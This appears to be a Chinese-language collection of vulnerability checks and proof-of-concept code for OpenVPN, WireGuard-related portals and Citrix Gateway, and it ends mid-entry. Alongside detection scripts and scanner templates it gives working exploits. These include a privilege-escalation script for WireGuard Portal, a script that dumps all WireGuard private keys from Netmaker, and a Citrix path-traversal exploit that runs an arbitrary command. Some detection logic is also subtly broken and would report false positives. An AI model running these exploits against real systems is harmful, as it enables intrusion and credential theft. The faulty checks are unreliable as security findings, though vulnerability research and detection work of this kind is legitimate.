企业VPN与远程接入平台高危攻击链专题：OpenVPN / WireGuard / Citrix Gateway 漏洞全解析

# 检测 OpenVPN 交互服务是否可被远程访问（CVE-2024-24974 配合检测）
# Windows 环境下使用 PowerShell 检查命名管道
Get-ChildItem \\.\pipe\openvpn\service -ErrorAction SilentlyContinue
# 如果存在且可访问，说明 CVE-2024-24974 未修复

import struct
import ctypes
import os

def check_openvpn_service_pipe():
    """检测 OpenVPN 交互服务命名管道是否存在且可访问"""
    pipe_name = r'\\.\pipe\openvpn\service'
    try:
        # 尝试打开命名管道
        handle = ctypes.windll.kernel32.CreateFileW(
            pipe_name,
            0x80000000,  # GENERIC_READ
            0,
            None,
            3,  # OPEN_EXISTING
            0,
            None
        )
        if handle != -1:
            ctypes.windll.kernel32.CloseHandle(handle)
            return True, "OpenVPN 交互服务管道存在且可访问 - CVE-2024-24974 风险"
        return False, "管道存在但无法打开"
    except Exception as e:
        return False, f"检测失败: {e}"

def detect_version():
    """通过注册表检测 OpenVPN 版本"""
    try:
        import winreg
        key_path = r"SOFTWARE\OpenVPN"
        key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path)
        version, _ = winreg.QueryValueEx(key, "exe_path")
        winreg.CloseKey(key)
        return version
    except Exception:
        return "未找到 OpenVPN 安装"

if __name__ == "__main__":
    exists, msg = check_openvpn_service_pipe()
    print(f"[*] 管道检测: {msg}")
    print(f"[*] 安装路径: {detect_version()}")
    if exists:
        print("[!] 警告: 系统可能受到 CVE-2024-27459 / CVE-2024-24974 影响")
        print("[!] 建议立即升级到 OpenVPN 2.6.10 或 2.5.10")

id: openvpn-cve-2024-27459
info:
  name: OpenVPN Interactive Service Stack Overflow - CVE-2024-27459
  author: x7peeps
  severity: high
  description: |
    OpenVPN 2.6.9 及更早版本的交互服务组件存在栈缓冲区溢出，
    攻击者可通过命名管道发送恶意数据触发本地权限提升。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27459
    - https://openvpn.net/security-advisory/ovpnx-vulnerability-cve-2024-27903-cve-2024-27459-cve-2024-24974/
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cwe-id: CWE-121
  metadata:
    max-request: 1
  tags: openvpn,cve2024,cve,lpe,windows

http:
  - raw:
      - |
        GET /admin/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "OpenVPN"
          - "Access Server"
        condition: or

    extractors:
      - type: regex
        regex:
          - '(?i)openvpn[\s\S]*?version[\s:]+[\d.]+'

# 使用 PowerShell 检测命名管道远程可达性
# 在远程机器上执行（需要 OpenVPN Administrators 组凭据）
powershell -Command "Get-ChildItem \\TARGET_IP\pipe\openvpn\service -ErrorAction SilentlyContinue"

import socket
import struct

def check_named_pipe_remote(target_ip):
    """
    检测远程 OpenVPN 命名管道是否可达
    CVE-2024-24974: 交互服务管道允许远程访问
    """
    try:
        # 通过 SMB 连接检测命名管道
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, 445))
        
        # SMB Negotiate Protocol Request
        smb_negotiate = (
            b'\x00\x00\x00\x45'  # NetBIOS Session
            b'\xff\x53\x4d\x42'  # SMB Header
            b'\x72'              # Negotiate
            b'\x00\x00\x00\x00'  # Status
            b'\x18'              # Flags
            b'\xc7\x53'          # Flags2
            b'\x00\x00'          # PID High
            b'\x00\x00\x00\x00'  # Signature
            b'\x00\x00\x00\x00'
            b'\x00\x20'          # TID
            b'\x00\x00'          # PID
            b'\x00\x00'          # UID
            b'\x00\x00'          # MID
            b'\x00'              # Word Count
            b'\x31\x00'          # Byte Count
            b'\x02\x50\x49\x50\x45\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00'
            b'\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00'
            b'\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00'
            b'\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00'
            b'\x02\x53\x41\x4d\x42\x41\x00'
            b'\x02\x4e\x54\x20\x4c\x41\x4e\x4d\x41\x4e\x20\x31\x2e\x30\x00'
            b'\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00'
        )
        sock.send(smb_negotiate)
        response = sock.recv(1024)
        sock.close()
        
        if b'\xff\x53\x4d\x42' in response:
            return True, "SMB 服务可达 - 命名管道可能可访问"
        return False, "SMB 未响应"
        
    except socket.timeout:
        return False, "连接超时"
    except ConnectionRefusedError:
        return False, "连接被拒绝"
    except Exception as e:
        return False, f"检测失败: {e}"

if __name__ == "__main__":
    target = input("[-] 输入目标 IP: ").strip()
    accessible, msg = check_named_pipe_remote(target)
    print(f"[*] 结果: {msg}")
    if accessible:
        print("[!] CVE-2024-24974: 命名管道可能允许远程访问!")
        print("[!] 攻击者可结合 CVE-2024-27459 实现权限提升")

id: openvpn-cve-2024-24974
info:
  name: OpenVPN Named Pipe Remote Access - CVE-2024-24974
  author: x7peeps
  severity: high
  description: |
    OpenVPN 2.6.9 及更早版本的交互服务命名管道允许远程访问，
    远程攻击者可与特权交互服务组件进行交互。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24974
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-923
  tags: openvpn,cve2024,cve,named-pipe,windows

network:
  - inputs:
      - data: "45"
        type: hex
    host:
      - "{{Hostname}}"
    port: 445
    read-size: 2048
    matchers:
      - type: word
        encoding: utf-8
        words:
          - "openvpn"
          - "service"

# 检测 OpenVPN Access Server 版本（判断是否受插件机制漏洞影响）
curl -sk https://TARGET_IP:9443/ | grep -i "openvpn\|version"

import os
import glob

def check_plugin_paths():
    """
    检测 OpenVPN 插件搜索路径中是否存在可写目录
    CVE-2024-27903: 插件从非受信任路径加载
    """
    vulnerable_paths = []
    
    search_paths = [
        os.path.expandvars(r"%PROGRAMFILES%\OpenVPN\plugins"),
        os.path.expandvars(r"%PROGRAMFILES%\OpenVPN\bin\plugins"),
        os.path.expandvars(r"%PROGRAMDATA%\OpenVPN\plugins"),
        os.path.expandvars(r"%USERPROFILE%\OpenVPN\plugins"),
    ]
    
    for path in search_paths:
        if os.path.exists(path):
            # 检查目录是否可写
            test_file = os.path.join(path, ".write_test")
            try:
                with open(test_file, 'w') as f:
                    f.write("test")
                os.remove(test_file)
                vulnerable_paths.append(path)
                print(f"[!] 可写插件目录: {path}")
            except PermissionError:
                print(f"[*] 受保护目录: {path}")
    
    # 检查是否有未知 DLL 加载
    print("\n[*] 搜索路径中的 DLL 文件:")
    for path in search_paths:
        if os.path.exists(path):
            dlls = glob.glob(os.path.join(path, "*.dll"))
            for dll in dlls:
                print(f"  -> {dll}")
    
    return vulnerable_paths

if __name__ == "__main__":
    print("[*] OpenVPN 插件路径安全检查 (CVE-2024-27903)")
    print("=" * 50)
    paths = check_plugin_paths()
    if paths:
        print(f"\n[!] 发现 {len(paths)} 个可写插件目录 - 可能存在 RCE 风险")
    else:
        print("\n[*] 未发现可写插件目录")

id: openvpn-cve-2024-27903
info:
  name: OpenVPN Plugin Mechanism RCE - CVE-2024-27903
  author: x7peeps
  severity: high
  description: |
    OpenVPN 插件加载机制未限制加载路径，攻击者可通过恶意插件 DLL
    在 Windows 上实现远程代码执行。
  reference:
    - https://openvpn.net/security-advisory/ovpnx-vulnerability-cve-2024-27903-cve-2024-27459-cve-2024-24974/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cwe-id: CWE-427
  tags: openvpn,cve2024,cve,rce,plugin

http:
  - raw:
      - |
        GET /admin/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "OpenVPN Access Server"
        condition: or

    extractors:
      - type: regex
        group: 1
        regex:
          - 'Version\s+([\d.]+)'

# 检测 Access Server 版本
curl -sk https://TARGET_IP:9443/admin/ | grep -oP 'Version\s+[\d.]+'

# 验证 TLS 配置状态
openssl s_client -connect TARGET_IP:443 </dev/null 2>/dev/null | grep -i "protocol\|cipher"

import ssl
import socket

def check_uaf_vulnerability(target_host, target_port=443):
    """
    检测 OpenVPN Access Server 是否受 CVE-2023-46850 影响
    检查 TLS 配置和服务器版本
    """
    print(f"[*] 检测 {target_host}:{target_port}")
    
    try:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        
        with socket.create_connection((target_host, target_port), timeout=10) as sock:
            with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                cert = ssock.getpeercert(binary_form=True)
                cipher = ssock.cipher()
                version = ssock.version()
                
                print(f"[*] TLS 版本: {version}")
                print(f"[*] 加密套件: {cipher[0]}")
                
                # CVE-2023-46850 影响所有使用 TLS 的配置
                if version in ('TLSv1.2', 'TLSv1.3'):
                    print("[!] 使用 TLS 配置 - 可能受 CVE-2023-46850 影响")
                    print("[!] Use-After-Free 可导致内存信息泄露")
                    return True
                    
    except ssl.SSLCertVerificationError:
        print("[*] 证书验证失败（自签名证书）")
    except Exception as e:
        print(f"[!] 连接失败: {e}")
    
    return False

if __name__ == "__main__":
    target = input("[-] 目标 IP/域名: ").strip()
    check_uaf_vulnerability(target)

id: openvpn-cve-2023-46850
info:
  name: OpenVPN Access Server UAF Memory Leak - CVE-2023-46850
  author: x7peeps
  severity: critical
  description: |
    OpenVPN 2.6.0-2.6.6 Use-After-Free 漏洞可导致敏感内存信息泄露
    或远程代码执行。
  reference:
    - https://openvpn.net/security-advisory/access-server-security-update-cve-2023-46849-cve-2023-46850/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-416
  tags: openvpn,cve2023,cve,uaf,memory-leak

ssl:
  - server: "{{Hostname}}"
    port: 443
    matchers:
      - type: word
        words:
          - "OpenVPN"

# 检测 OpenVPN 服务是否启用了 fragment 选项
curl -sk https://TARGET_IP:9443/admin/ 2>&1 | head -20

import socket

def check_fragment_config(target_host, target_port=1194):
    """
    检测 OpenVPN 服务是否暴露在 UDP 端口
    CVE-2023-46849: 通过 fragment 选项触发除零崩溃
    """
    print(f"[*] 检测 {target_host}:{target_port} (UDP)")
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(5)
        
        # 发送畸形 OpenVPN 数据包检测响应
        # OpenVPN Magic Cookie
        ovpn_header = b'\x00\x0e\xb8\x0d'
        crafted_packet = ovpn_header + b'\x00' * 100
        
        sock.sendto(crafted_packet, (target_host, target_port))
        
        try:
            data, addr = sock.recvfrom(1024)
            if data:
                print("[*] 收到响应 - 服务可能存活")
                return True
        except socket.timeout:
            print("[*] 无响应（可能已崩溃或过滤）")
        
        sock.close()
    except Exception as e:
        print(f"[!] 检测失败: {e}")
    
    return False

if __name__ == "__main__":
    target = input("[-] 目标 IP: ").strip()
    check_fragment_config(target)

id: openvpn-cve-2023-46849
info:
  name: OpenVPN Fragment DoS - CVE-2023-46849
  author: x7peeps
  severity: high
  description: |
    OpenVPN 2.6.0-2.6.6 启用 --fragment 选项时，
    特定分片数据可触发除零崩溃导致 DoS。
  reference:
    - https://openvpn.net/security-advisory/access-server-security-update-cve-2023-46849-cve-2023-46850/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-369
  tags: openvpn,cve2023,cve,dos,fragment

network:
  - inputs:
      - data: "000eb80d"
        type: hex
    host:
      - "{{Hostname}}"
    port: 1194
    protocol: udp
    read-size: 1024
    matchers:
      - type: word
        words:
          - "OpenVPN"

# 检测 Access Server 版本
curl -sk https://TARGET_IP:9443/ | grep -i "version\|openvpn"

import ssl
import socket

def check_access_server_version(target_host, target_port=9443):
    """
    检测 OpenVPN Access Server 是否受 CVE-2025-2704 影响
    """
    print(f"[*] 检测 Access Server: {target_host}:{target_port}")
    
    try:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        
        with socket.create_connection((target_host, target_port), timeout=10) as sock:
            with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                print(f"[*] TLS 版本: {ssock.version()}")
                print("[!] Access Server 2.11.0-2.14.2 受 CVE-2025-2704 影响")
                print("[!] 默认启用 TLS-crypt-v2 配置存在 DoS 风险")
                print("[!] 建议升级到 2.14.3 或更高版本")
                return True
                
    except Exception as e:
        print(f"[!] 连接失败: {e}")
    return False

if __name__ == "__main__":
    target = input("[-] 目标 IP/域名: ").strip()
    check_access_server_version(target)

id: openvpn-cve-2025-2704
info:
  name: OpenVPN Access Server TLS-crypt-v2 DoS - CVE-2025-2704
  author: x7peeps
  severity: high
  description: |
    OpenVPN Access Server 2.11.0-2.14.2 在启用 TLS-crypt-v2 时，
    可通过篡改握手数据触发服务器崩溃。
  reference:
    - https://openvpn.net/security-advisories/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-20
  tags: openvpn,cve2025,cve,access-server,tls,dos

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}:9443

    port: 9443
    ssl: true
    matchers:
      - type: word
        words:
          - "OpenVPN Access Server"

# 检测目标是否使用未认证 NTP
ntpq -p TARGET_NTP_SERVER 2>/dev/null || echo "NTP 未可达"

# 检查 WireGuard 客户端版本
# Windows
ls -la "C:\Program Files\WireGuard\" 2>/dev/null

import socket
import struct
import time

def check_ntp_vulnerability(ntp_server="pool.ntp.org"):
    """
    检测 NTP 服务是否可被用于时间操纵
    CVE-2021-46873: 未认证 NTP 可导致 WireGuard 密钥失效
    """
    print(f"[*] 检测 NTP 服务器: {ntp_server}")
    
    try:
        # NTP 请求
        ntp_data = b'\x1b' + 47 * b'\0'
        
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(5)
        sock.sendto(ntp_data, (ntp_server, 123))
        
        data, _ = sock.recvfrom(1024)
        sock.close()
        
        # 解析 NTP 时间戳
        transmit_time = struct.unpack('!Q', data[40:48])[0]
        ntp_epoch = transmit_time - 2208988800  # NTP epoch 到 Unix epoch
        current_time = time.time()
        diff = ntp_epoch - current_time
        
        print(f"[*] NTP 时间: {time.ctime(ntp_epoch)}")
        print(f"[*] 本地时间: {time.ctime(current_time)}")
        print(f"[*] 时间偏差: {diff:.2f} 秒")
        
        if abs(diff) > 86400:  # 超过 1 天
            print("[!] 大幅时间偏差 - 可被利用触发 CVE-2021-46873")
            return True
        
    except Exception as e:
        print(f"[!] NTP 检测失败: {e}")
    
    return False

if __name__ == "__main__":
    ntp = input("[-] NTP 服务器 (默认 pool.ntp.org): ").strip() or "pool.ntp.org"
    check_ntp_vulnerability(ntp)

id: wireguard-cve-2021-46873
info:
  name: WireGuard NTP Time Manipulation - CVE-2021-46873
  author: x7peeps
  severity: medium
  description: |
    WireGuard Windows 客户端 0.5.3 未考虑系统时间被操纵到未来值的情况，
    可能导致静态私钥永久失效。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
    cvss-score: 5.3
    cwe-id: CWE-362
  tags: wireguard,cve2021,cve,ntp,time-manipulation

network:
  - inputs:
      - data: "1b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 123
    protocol: udp
    read-size: 48
    matchers:
      - type: binary
        binary:
          - "1c"

# 检测 WireGuard 客户端版本
# Linux
wg --version 2>/dev/null
# Windows（通过注册表）
reg query "HKLM\SOFTWARE\WireGuard" /s 2>/dev/null

import subprocess
import platform

def check_wireguard_tunnelcrack():
    """
    检测系统是否受 TunnelCrack (CVE-2023-35838) 影响
    """
    system = platform.system()
    print(f"[*] 操作系统: {system}")
    
    if system == "Windows":
        try:
            # 检查 WireGuard 版本
            result = subprocess.run(
                ["reg", "query", "HKLM\\SOFTWARE\\WireGuard", "/s"],
                capture_output=True, text=True, timeout=5
            )
            print(f"[*] 注册表信息:\n{result.stdout}")
        except Exception:
            pass
    
    elif system == "Linux":
        try:
            result = subprocess.run(["wg", "--version"], capture_output=True, text=True, timeout=5)
            version = result.stdout.strip()
            print(f"[*] WireGuard 版本: {version}")
            
            # 检查 allowed-ips 配置
            result = subprocess.run(["wg", "show"], capture_output=True, text=True, timeout=5)
            if "allowed ips" in result.stdout.lower():
                print("[*] 当前 WireGuard 接口配置:")
                print(result.stdout)
                
        except FileNotFoundError:
            print("[*] WireGuard 未安装")
        except Exception as e:
            print(f"[!] 检测失败: {e}")
    
    print("\n[*] TunnelCrack 攻击场景:")
    print("    1. 攻击者控制本地 Wi-Fi/路由器")
    print("    2. 通告非 RFC1918 子网")
    print("    3. WireGuard 客户端防火墙规则阻断流量")
    print("    4. VPN 激活期间特定服务不可达")

if __name__ == "__main__":
    check_wireguard_tunnelcrack()

id: wireguard-cve-2023-35838
info:
  name: WireGuard TunnelCrack LocalNet - CVE-2023-35838
  author: x7peeps
  severity: medium
  description: |
    WireGuard Windows 客户端 0.5.3 防火墙配置不当，
    攻击者可在 VPN 激活期间阻断到选定 IP 的流量。
  reference:
    - https://tunnelcrack.mathyvanhoef.com/details.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35838
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
    cvss-score: 5.7
    cwe-id: CWE-610
  tags: wireguard,cve2023,cve,tunnelcrack,firewall

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - "WireGuard"
          - "wireguard"
        condition: or

# CVE-2026-27899 权限提升 PoC
# 需要有效的普通用户 JWT Token

TARGET="https://wg-portal.example.com"

# 1. 以普通用户登录获取 Token
TOKEN=$(curl -sk -X POST "$TARGET/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"normaluser","password":"password123"}' \
  | jq -r '.token')

echo "[*] 获取 Token: ${TOKEN:0:20}..."

# 2. 提权为管理员
curl -sk -X PUT "$TARGET/api/users/normaluser" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"IsAdmin":true}'

echo "[*] 权限提升完成 - 登出后重新登录即可获得管理员权限"

import requests
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_cve_2026_27899(target_url, username, password):
    """
    CVE-2026-27899: WireGuard Portal 权限提升
    任何已认证的普通用户可升级为管理员
    """
    session = requests.Session()
    session.verify = False
    
    print(f"[*] 目标: {target_url}")
    print(f"[*] 用户: {username}")
    
    # Step 1: 登录获取 Token
    print("\n[1] 登录获取认证 Token...")
    login_resp = session.post(
        f"{target_url}/api/auth/login",
        json={"username": username, "password": password}
    )
    
    if login_resp.status_code != 200:
        print(f"[!] 登录失败: {login_resp.status_code}")
        return False
    
    token = login_resp.json().get("token", "")
    headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    print(f"[+] Token 获取成功: {token[:20]}...")
    
    # Step 2: 权限提升
    print("\n[2] 发送权限提升请求...")
    payload = {"IsAdmin": True}
    exploit_resp = session.put(
        f"{target_url}/api/users/{username}",
        headers=headers,
        json=payload
    )
    
    if exploit_resp.status_code in (200, 204):
        print("[+] 权限提升成功!")
        print("[+] 请登出后重新登录以获取管理员权限")
        
        # Step 3: 验证提权
        print("\n[3] 验证管理员权限...")
        verify_resp = session.get(
            f"{target_url}/api/users/{username}",
            headers=headers
        )
        if verify_resp.status_code == 200:
            user_data = verify_resp.json()
            is_admin = user_data.get("IsAdmin", False)
            print(f"[*] IsAdmin 状态: {is_admin}")
            return is_admin
    else:
        print(f"[!] 提权失败: {exploit_resp.status_code}")
    
    return False

if __name__ == "__main__":
    target = input("[-] 目标 URL: ").strip()
    user = input("[-] 用户名: ").strip()
    pwd = input("[-] 密码: ").strip()
    exploit_cve_2026_27899(target, user, pwd)

id: wireguard-cve-2026-27899
info:
  name: WireGuard Portal Privilege Escalation - CVE-2026-27899
  author: x7peeps
  severity: high
  description: |
    WireGuard Portal < 2.1.3 允许已认证的普通用户通过 PUT 请求
    修改 IsAdmin 字段升级为管理员。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27899
    - https://github.com/h44z/wg-portal/security/advisories/GHSA-5rmx-256w-8mj9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-863
  tags: wireguard,cve2026,cve,wg-portal,privilege-escalation

http:
  - raw:
      - |
        GET /api/users/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "wg-portal"
          - "wireguard"
          - "IsAdmin"
        condition: or
        part: body

# CVE-2026-29196 私钥泄露 PoC
TARGET="https://netmaker.example.com"

# 1. 以 platform-user 登录
TOKEN=$(curl -sk -X POST "$TARGET/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"lowpriv","password":"password"}' \
  | jq -r '.token')

# 2. 获取网络中所有节点的私钥
echo "[*] 获取所有节点私钥..."
curl -sk "$TARGET/api/nodes/testnetwork" \
  -H "Authorization: Bearer $TOKEN" | jq '.[].PrivateKey'

# 3. 获取所有外部客户端的私钥
echo "[*] 获取外部客户端私钥..."
curl -sk "$TARGET/api/extclients/testnetwork" \
  -H "Authorization: Bearer $TOKEN" | jq '.[].PrivateKey'

import requests
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_cve_2026_29196(target_url, username, password, network):
    """
    CVE-2026-29196: Netmaker WireGuard 私钥泄露
    platform-user 可获取网络中所有 WireGuard 私钥
    """
    session = requests.Session()
    session.verify = False
    
    print(f"[*] 目标: {target_url}")
    print(f"[*] 网络: {network}")
    
    # 登录
    login_resp = session.post(
        f"{target_url}/api/auth/login",
        json={"username": username, "password": password}
    )
    
    if login_resp.status_code != 200:
        print(f"[!] 登录失败: {login_resp.status_code} {login_resp.text}")
        return []
    
    token = login_resp.json().get("token", "")
    headers = {"Authorization": f"Bearer {token}"}
    
    leaked_keys = []
    
    # 泄露节点私钥
    print("\n[*] 获取节点私钥...")
    nodes_resp = session.get(
        f"{target_url}/api/nodes/{network}",
        headers=headers
    )
    
    if nodes_resp.status_code == 200:
        nodes = nodes_resp.json()
        for node in nodes:
            key = node.get("PrivateKey", "")
            name = node.get("Name", "unknown")
            if key:
                leaked_keys.append({"type": "node", "name": name, "key": key})
                print(f"  [+] 节点 '{name}' 私钥: {key[:20]}...")
    
    # 泄露外部客户端私钥
    print("\n[*] 获取外部客户端私钥...")
    ext_resp = session.get(
        f"{target_url}/api/extclients/{network}",
        headers=headers
    )
    
    if ext_resp.status_code == 200:
        clients = ext_resp.json()
        for client in clients:
            key = client.get("PrivateKey", "")
            name = client.get("ClientID", "unknown")
            if key:
                leaked_keys.append({"type": "extclient", "name": name, "key": key})
                print(f"  [+] 客户端 '{name}' 私钥: {key[:20]}...")
    
    print(f"\n[!] 总共泄露 {len(leaked_keys)} 个私钥")
    return leaked_keys

if __name__ == "__main__":
    target = input("[-] 目标 URL: ").strip()
    user = input("[-] 用户名: ").strip()
    pwd = input("[-] 密码: ").strip()
    net = input("[-] 网络名: ").strip()
    exploit_cve_2026_29196(target, user, pwd, net)

id: wireguard-cve-2026-29196
info:
  name: Netmaker WireGuard Private Key Leak - CVE-2026-29196
  author: x7peeps
  severity: high
  description: |
    Netmaker < 1.5.0 的 REST API 授权缺陷允许低权限用户
    获取网络中所有 WireGuard 配置的明文私钥。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29196
    - https://github.com/gravitl/netmaker/security/advisories/GHSA-4hgg-c4rr-6h7f
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cwe-id: CWE-863
  tags: wireguard,cve2026,cve,netmaker,key-leak

http:
  - raw:
      - |
        GET /api/nodes/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "netmaker"
          - "PrivateKey"
          - "Network"
        condition: or
        part: body

# CVE-2019-19781 目录穿越检测
curl -sk "https://TARGET_IP/vpn/../vpns/services.html"
curl -sk "https://TARGET_IP/vpn/../vpns/cfg/smb.conf"

# RCE 利用 - 第一步：写入恶意 XML
curl -sk -X POST "https://TARGET_IP/vpn/../vpns/cfg/newbm.pl" \
  -H "NSC_USER: ../../../../netscaler/portal/templates/x7peeps.xml" \
  -H "NSC_NONCE: test" \
  --data-urlencode "url=file:///tmp/test" \
  --data-urlencode "title=[% tmpl name='x7peeps' %]" \
  --data-urlencode "desc=[%+ CLIP +%]" \
  --data-urlencode "UI_inuse=rmb"

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_cve_2019_19781(target_url, command="id"):
    """
    CVE-2019-19781: Citrix ADC/Gateway 路径穿越 RCE
    通过目录穿越写入 Perl 模板实现远程代码执行
    """
    print(f"[*] 目标: {target_url}")
    print(f"[*] 命令: {command}")
    
    # Step 1: 检测漏洞
    print("\n[1] 检测目录穿越...")
    check_resp = requests.get(
        f"{target_url}/vpn/../vpns/services.html",
        verify=False, timeout=10
    )
    
    if check_resp.status_code == 200:
        print("[+] 目标可能受 CVE-2019-19781 影响")
    else:
        print(f"[*] 检测响应: {check_resp.status_code}")
    
    # Step 2: 写入恶意模板
    print("\n[2] 写入恶意 Perl 模板...")
    template_name = "x7peeps"
    malicious_template = f"""[% IF execute('{command}') %]
[% execute('{command}') %]
[% END %]"""
    
    write_resp = requests.post(
        f"{target_url}/vpn/../vpns/cfg/newbm.pl",
        headers={
            "NSC_USER": f"../../../../netscaler/portal/templates/{template_name}.xml",
            "NSC_NONCE": "test"
        },
        data={
            "url": "file:///tmp/test",
            "title": f"[% tmpl name='{template_name}' %]",
            "desc": malicious_template,
            "UI_inuse": "rmb"
        },
        verify=False,
        timeout=10
    )
    
    if write_resp.status_code == 200:
        print("[+] 模板写入成功")
    
    # Step 3: 触发代码执行
    print("\n[3] 触发代码执行...")
    rce_resp = requests.get(
        f"{target_url}/vpn/../vpns/cfg/{template_name}.xml",
        verify=False,
        timeout=10
    )
    
    print(f"[*] 响应:\n{rce_resp.text[:500]}")
    return rce_resp.text

if __name__ == "__main__":
    target = input("[-] 目标 URL: ").strip()
    cmd = input("[-] 命令 (默认 id): ").strip() or "id"
    exploit_cve_2019_19781(target, cmd)

id: citrix-cve-2019-19781
info:
  name: Citrix ADC Gateway Path Traversal RCE - CVE-2019-19781
  author: x7peeps
  severity: critical
  description: |
    Citrix ADC/Gateway 路径穿越漏洞允许未认证攻击者
    通过目录穿越写入文件并实现远程代码执行。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19781
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-22
  tags: citrix,netscaler,cve2019,cve,rce,path-traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/vpn/../vpns/services.html"

    matchers:
      - type: word
        words:
          - "vpn"
          - "services"
          - "html"
        condition: and

# 检测 SAML 配置是否启用
curl -sk "https://TARGET_IP/nsc.html" 2>/dev/null | grep -i saml

# 检测 SAML 端点
curl -sk "https://TARGET_IP/saml/login" -o /dev/null -w "%{http_code}\n"
curl -sk "https://TARGET_IP/saml/metadata" | head -20

import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def detect_saml_config(target_url):
    """
    CVE-2022-27518: 检测 Citrix ADC 是否配置了 SAML 认证
    """
    print(f"[*] 检测目标: {target_url}")
    
    saml_endpoints = [
        "/saml/login",
        "/saml/metadata", 
        "/saml/acs",
        "/saml/slo",
    ]
    
    found_saml = False
    
    for endpoint in saml_endpoints:
        try:
            resp = requests.get(
                f"{target_url}{endpoint}",
                verify=False, timeout=10, allow_redirects=False
            )
            if resp.status_code not in (404, 403):
                print(f"[+] 发现 SAML 端点: {endpoint} (HTTP {resp.status_code})")
                found_saml = True
                
                if "metadata" in endpoint:
                    # 分析 SAML 元数据
                    content = resp.text
                    if "EntityDescriptor" in content:
                        entity_id = re.search(r'entityID="([^"]+)"', content)
                        if entity_id:
                            print(f"    Entity ID: {entity_id.group(1)}")
                            
        except Exception:
            pass
    
    if found_saml:
        print("\n[!] SAML 配置已启用 - 可能受 CVE-2022-27518 影响")
        print("[!] APT5 曾利用此漏洞进行零日攻击")
        print("[!] 建议检查 ns.conf 中的 SAML 配置")
    else:
        print("[*] 未发现 SAML 配置")
    
    return found_saml

if __name__ == "__main__":
    target = input("[-] 目标 URL: ").strip()
    detect_saml_config(target)

id: citrix-cve-2022-27518
info:
  name: Citrix ADC Gateway SAML RCE - CVE-2022-27518
  author: x7peeps
  severity: critical
  description: |
    Citrix ADC/Gateway SAML 配置存在未认证 RCE 漏洞，
    被 APT5 作为零日漏洞在野利用。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27518
